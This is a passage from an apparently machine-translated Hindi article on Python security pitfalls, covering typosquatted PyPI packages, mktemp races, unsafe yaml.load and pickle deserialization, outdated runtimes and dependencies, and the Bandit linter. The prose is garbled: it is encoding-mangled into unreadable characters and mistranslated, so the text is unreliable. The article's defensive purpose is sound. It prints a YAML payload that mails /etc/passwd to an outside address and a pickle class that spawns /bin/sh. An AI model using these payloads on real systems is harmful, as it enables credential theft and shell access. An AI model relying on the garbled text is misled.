PyPi рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рд▓реЛрдХрдкреНрд░рд┐рдп рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рдирд╛рдореЛрдВ рдХреЗ рд╕рдорд╛рди рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдиреЗ, рд▓реЗрдХрд┐рди рдордирдорд╛рдиреЗ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдорд╛рдорд▓реЗ рд╕рд╛рдордиреЗ рдЖрдП рд╣реИрдВред рд╕рдмрд╕реЗ рдмрдбрд╝реА рдШрдЯрдирд╛, рд╕реМрднрд╛рдЧреНрдп рд╕реЗ, рдЦрддрд░рдирд╛рдХ рдирд╣реАрдВ рдереА рдФрд░ рдмрд╕ рдЗрд╕ рддрдереНрдп рдХреЛ "рдЕрдВрдд" рджрд┐рдпрд╛ рдХрд┐ рдЙрдиреНрд╣реЛрдВрдиреЗ рд╕рдорд╕реНрдпрд╛ рдкрд░ рдзреНрдпрд╛рди рдирд╣реАрдВ рджрд┐рдпрд╛ред

рд╕реЛрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдФрд░ рд╕реНрдерд┐рддрд┐ рдЖрдкрдХреА рдирд┐рд░реНрднрд░рддрд╛ (рдЖрджрд┐) рдХреА рдирд┐рд░реНрднрд░рддрд╛ рд╣реИред рд╡реЗ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рд╡реЗ рдкрд╛рдпрдерди рдореЗрдВ рдЖрдпрд╛рдд рдкреНрд░рдгрд╛рд▓реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рднреА рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рд╕рдорд╛рдзрд╛рди:

рдЕрдкрдиреЗ рдкреИрдХреЗрдЬреЛрдВ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред PyUp.io рдФрд░ рдЙрдирдХреА рд╕реБрд░рдХреНрд╖рд╛ рдЯреАрдо рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВред рд╕рднреА рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрднрд╛рд╕реА рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдХреЗ рд╡реИрд╢реНрд╡рд┐рдХ рд╕рд╛рдЗрдЯ-рдкреИрдХреЗрдЬ рдпрдерд╛рд╕рдВрднрд╡ рд╕рд╛рдл рд╣реИрдВред рдкреИрдХреЗрдЬ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред

6. рдЕрд╕реНрдерд╛рдпреА рдлрд╛рдЗрд▓реЗрдВ


рдкрд╛рдпрдерди рдореЗрдВ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЖрдо рддреМрд░ рдкрд░ mktemp() рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рдлрд┐рд░ рдЙрддреНрдкрдиреНрди рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рддреЗ рд╣реИрдВред "рдпрд╣ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рджреВрд╕рд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрд╕реА рд╕рдордп рдХреЗ рдирд╛рдо рд╕реЗ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛ рд╕рдХрддреА mktemp() рдЬрд┐рд╕реЗ mktemp() рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдкрд╣рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рджреНрд╡рд╛рд░рд╛ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдиреЗ рдХрд╛ рдмрд╛рдж рдХрд╛ рдкреНрд░рдпрд╛рд╕ред" рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдпрд╣ рдЖрдкрдХреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЧрд▓рдд рдбреЗрдЯрд╛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдХреЗ рдпрд╛ рдЕрдиреНрдп рдЕрд╕реНрдерд╛рдпреА рдбреЗрдЯрд╛ рдХреЛ рдЦрддрд░реЗ рдореЗрдВ рдбрд╛рд▓рдХрд░ рдЯреНрд░рд┐рдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдпрджрд┐ рдЖрдк рдЧрд▓рдд рддрд░реАрдХреЗ рд╕реЗ рдХреЙрд▓ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдкрд╛рдпрдерди рдХреЗ рд╣рд╛рд▓ рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдПрдХ рд░рдирдЯрд╛рдЗрдо рдЪреЗрддрд╛рд╡рдиреА рджрд┐рдЦрд╛рдПрдВрдЧреЗред

рд╕рдорд╛рдзрд╛рди:

рдпрджрд┐ рдЖрдкрдХреЛ рдЕрд╕реНрдерд╛рдпреА рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ tempfile рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ mkstemp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

7. yaml.load рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛


PyYAML рдкреНрд░рд▓реЗрдЦрди рдХрд╛ рд╣рд╡рд╛рд▓рд╛ рджреЗрддреЗ рд╣реБрдП:

рдЪреЗрддрд╛рд╡рдиреАред рдХрд┐рд╕реА рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕реНрд░реЛрдд рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде yaml.load рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд╣реИ! yaml.load рдЕрдЪрд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХреБрд╢рд▓ рд╣реИред рд▓реЛрдб, рдФрд░ рдЗрд╕рд▓рд┐рдП рдХрд┐рд╕реА рднреА рдкрд╛рдпрдерди рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣ рдмреЗрд╣рддрд░реАрди рдЙрджрд╛рд╣рд░рдг рд▓реЛрдХрдкреНрд░рд┐рдп Ansible рдкрд░рд┐рдпреЛрдЬрдирд╛ рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдк рдПрдХ (рдорд╛рдиреНрдп) YAML рдХреЗ рд░реВрдк рдореЗрдВ Ansible рд╡реЙрд▓реНрдЯ рдХреЛ рдПрдХ рдореВрд▓реНрдп рджреЗ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рджрд┐рдП рдЧрдП рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде os.system() рдХрд╣рддрд╛ рд╣реИред

 !!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"] 

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЖрдкреВрд░реНрддрд┐ рдХрд┐рдП рдЧрдП рдореВрд▓реНрдпреЛрдВ рд╕реЗ YAML рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдХреЗ, рдЖрдк рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреБрд▓реЗ рд╣реИрдВред


рдПрдХреНрд╢рди рдореЗрдВ рдЗрд╕ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди, рдзрдиреНрдпрд╡рд╛рдж рдПрдВрдереЛрдиреА рд╕реЙрдЯрд╛рдЗрд▓

рд╕рдорд╛рдзрд╛рди:

yaml.safe_load рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рд▓рдЧрднрдЧ рд╣рдореЗрд╢рд╛, рдЬрдм рддрдХ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЕрдЪреНрдЫрд╛ рдХрд╛рд░рдг рди рд╣реЛред

8. рдЕрдЪрд╛рд░


Deserializing рдбрд┐рдмреНрдмрд╛рдмрдВрдж рдбреЗрдЯрд╛ YAML рдЬрд┐рддрдирд╛ рд╣реА рдЦрд░рд╛рдм рд╣реИред рдкрд╛рдпрдерди рдХрдХреНрд╖рд╛рдПрдВ рдПрдХ рдЬрд╛рджреВ __reduce__ рд╡рд┐рдзрд┐ рдХреА рдШреЛрд╖рдгрд╛ рдХрд░ рд╕рдХрддреА рд╣реИрдВ рдЬреЛ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ, рдпрд╛ рдХреЙрд▓ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдХреЗ рд╕рд╛рде рдПрдХ рдЯрдкрд▓ рд▓реМрдЯрд╛рддрд╛ рд╣реИ, рдФрд░ рд╕рдВрд░рдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рддрд░реНрдХ рдкрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдореЗрдЬрдмрд╛рди рдкрд░ рдордирдорд╛рдиреА рдХрдорд╛рдВрдб рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрдкреНрд░реЛрд╕реЗрд╕ рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдпрд╣ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЙрджрд╛рд╣рд░рдг рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ рдкрд╛рдпрдерди рдореЗрдВ рдПрдХ рдЦреЛрд▓ рдЦреЛрд▓рдиреЗ рд╡рд╛рд▓реЗ рд╡рд░реНрдЧ рдХреЛ рдХреИрд╕реЗ рд╕рдВрд░рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП 2. рдЕрдЪрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдХрдИ рдФрд░ рдЙрджрд╛рд╣рд░рдг рд╣реИрдВ ред

 import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh())) 

рд╕рдорд╛рдзрд╛рди:

рдПрдХ рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдпрд╛ рдЕрд╕рддреНрдпрд╛рдкрд┐рдд рд╕реНрд░реЛрдд рд╕реЗ рдбреЗрдЯрд╛ рдХреЛ рдлрд┐рд░ рд╕реЗ рдЦреЛрд▓рдирд╛ рдирд╣реАрдВред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, рдПрдХ рдЕрд▓рдЧ рдХреНрд░рдорд╛рдВрдХрди рдкреИрдЯрд░реНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ, рдЬреИрд╕реЗ рдХрд┐ JSONред

9. рдЕрдЬрдЧрд░ рд░рдирдЯрд╛рдЗрдо рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдкреИрдЪ рди рдХрд░реЗрдВ


рдЕрдзрд┐рдХрд╛рдВрд╢ рдкреЛрд╕рд┐рдХреНрд╕ рд╕рд┐рд╕реНрдЯрдо рдкрд╛рдпрдерди 2 рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рд╛рде рдЖрддреЗ рд╣реИрдВред рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ, рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкреБрд░рд╛рдирд╛ред

рдЪреВрдВрдХрд┐ рдкрд╛рдпрдерди, рдЕрд░реНрдерд╛рддреН рд╕реАрдкреАрдереЙрди рд╕реА рдореЗрдВ рд▓рд┐рдЦрд╛ рдЧрдпрд╛ рд╣реИ, рдРрд╕реЗ рд╕рдордп рд╣реЛрддреЗ рд╣реИрдВ рдЬрдм рдкрд╛рдпрдерди рдЗрдВрдЯрд░рдкреНрд░реЗрдЯрд░ рдореЗрдВ рд╣реА рдЫреЗрдж рд╣реЛрддреЗ рд╣реИрдВред C рдореЗрдВ рд╕рд╛рдорд╛рдиреНрдп рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдореБрджреНрджреЗ рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрди, рд╕рд╛рде рд╣реА рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рддреНрд░реБрдЯрд┐рдпреЛрдВ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИрдВред

рдЗрди рд╡рд░реНрд╖реЛрдВ рдореЗрдВ, CPython рдореЗрдВ рдХрдИ рдУрд╡рд░рд╕реАрдЬрд╝ рдпрд╛ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рдереАрдВ, рдЬрд┐рдирдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдХреЛ рдмрд╛рдж рдХреЗ рд░рд┐рд▓реАрдЬрд╝ рдореЗрдВ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдФрд░ рдареАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ред
рдЗрд╕рд▓рд┐рдП рдЖрдк рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВред рдЕрдзрд┐рдХ рд╕рдЯреАрдХ, рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ рд░рдирдЯрд╛рдЗрдо рдХреЗ рд▓рд┐рдП рдкреИрдЪ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реИрдВ ред

рдпрд╣рд╛рдВ рд╕рдВрд╕реНрдХрд░рдг 2.7.13 рдФрд░ рдиреАрдЪреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ , рдПрдХ рдкреВрд░реНрдгрд╛рдВрдХ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рднреЗрджреНрдпрддрд╛ рдЬреЛ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдпрд╣ рдЙрджрд╛рд╣рд░рдг рдХрд┐рд╕реА рднреА Ubuntu рдХреЗ рд▓рд┐рдП рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдП рдЧрдП рдкреИрдЪ рдХреЗ рдмрд┐рдирд╛ рд╕рдВрд╕реНрдХрд░рдг 17 рддрдХ рд╣реИред

рд╕рдорд╛рдзрд╛рди:

рдЕрдкрдиреЗ рд▓рдбрд╝рд╛рдХреВ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдФрд░ рд╕рднреА рдкреИрдЪ рдХреЗ рд▓рд┐рдП рдкрд╛рдпрдерди рдХрд╛ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ !

10. рдЕрдкрдиреА рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рд▓рд┐рдП рдкреИрдЪ рд╕реНрдерд╛рдкрд┐рдд рди рдХрд░реЗрдВ


рдЬреИрд╕реЗ рдЖрдк рдЕрдкрдиреЗ рд░рдирдЯрд╛рдЗрдо рдХреЗ рд▓рд┐рдП рдкреИрдЪ рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рд╡реИрд╕реЗ рд╣реА рдЖрдкрдХреЛ рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдЕрдкрдиреА рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рд▓рд┐рдП рдкреИрдЪ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдкреИрдХреЗрдЬ рдореЗрдВ PyPi рдкреИрдХреЗрдЬ рдХреЗ рдкрд╛рдпрдерди рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЛ "рдкрд┐рдирд┐рдВрдЧ" рдХрд░рдиреЗ рдХреА рдкреНрд░рдерд╛ рднрдпрд╛рд╡рд╣ рд╣реИред рд╡рд┐рдЪрд╛рд░ рдпрд╣ рд╣реИ рдХрд┐ " рдпреЗ рдРрд╕реЗ рд╕рдВрд╕реНрдХрд░рдг рд╣реИрдВ рдЬреЛ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВ, " рдЗрд╕рд▓рд┐рдП рд╣рд░ рдХреЛрдИ рдЙрд╕реЗ рдЕрдХреЗрд▓рд╛ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред

рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдЙрдкрд░реНрдпреБрдХреНрдд рд╕рднреА рдХреЛрдб рднреЗрджреНрдпрддрд╛рдПрдБ рдЙрддрдиреА рд╣реА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИрдВ, рдЬрдм рд╡реЗ рдЙрди рдкреИрдХреЗрдЬреЛрдВ рдореЗрдВ рдореМрдЬреВрдж рд╣реЛрддреА рд╣реИрдВ, рдЬреЛ рдЖрдкрдХреЗ рдЖрд╡реЗрджрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдЗрди рдкреИрдХреЗрдЬреЛрдВ рдХреЗ рдбреЗрд╡рд▓рдкрд░реНрд╕ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рдареАрдХ рдХрд░рддреЗ рд╣реИрдВред рд╣рд░ рд╕рдордпред

рд╕рдорд╛рдзрд╛рди:

рдЕрдкрдбреЗрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдбрд╛рдЙрдирд▓реЛрдб / рдорд░реНрдЬ рдЕрдиреБрд░реЛрдз рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдФрд░ рдкреИрдХреЗрдЬ рдЕрдкрдбреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рдг рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП PyUp.io рдЬреИрд╕реА рд╕реЗрд╡рд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
рдЙрддреНрдкрд╛рджрди рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЛ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдиреНрдпреВрдирддрдо рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдпрд╛ рд╕рдВрд╕реНрдХрд░рдг рд╢реНрд░реЗрдгрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдлрд╝рд┐рдХреНрд╕реЗрд╕ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдирд╕реНрдкреАрдХ рдЬреИрд╕реЗ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

рдХреНрдпрд╛ рдЖрдкрдиреЗ рджрд╕реНрдпреБ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рд╣реИ?

рдПрдХ рдмрдбрд╝рд╛ рд╕реНрдЯреЗрдЯрд┐рдХ рд▓рд┐рдВрдЯрд░ рд╣реИ рдЬреЛ рдЖрдкрдХреЗ рдХреЛрдб рдореЗрдВ рдЗрди рд╕рднреА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рдФрд░ рднреА рдмрд╣реБрдд рдХреБрдЫ рджреЗрдЧрд╛! рдЗрд╕реЗ рджрд╕реНрдпреБ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╕рд┐рд░реНрдл pip install bandit рдФрд░ bandit ./codedir

PyCQA / рджрд╕реНрдпреБ

рдЗрд╕ рдЕрджреНрднреБрдд рд▓реЗрдЦ рдХреЗ рд▓рд┐рдП рд░реЗрдбрд╣реИрдЯ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдореИрдВрдиреЗ рдЕрдкрдиреЗ рдХреБрдЫ рд╢реЛрдз рдореЗрдВ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ред

рдЕрдВрдд!

рд╣рдореЗрд╢рд╛ рдХреА рддрд░рд╣, рд╣рдореЗрдВ рдЖрдкрдХреА рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдФрд░ рдкреНрд░рд╢реНрдиреЛрдВ рдХреЛ рджреЗрдЦрдХрд░ рдЦреБрд╢реА рд╣реЛрдЧреА :)

Source: https://habr.com/ru/post/hi420441/


All Articles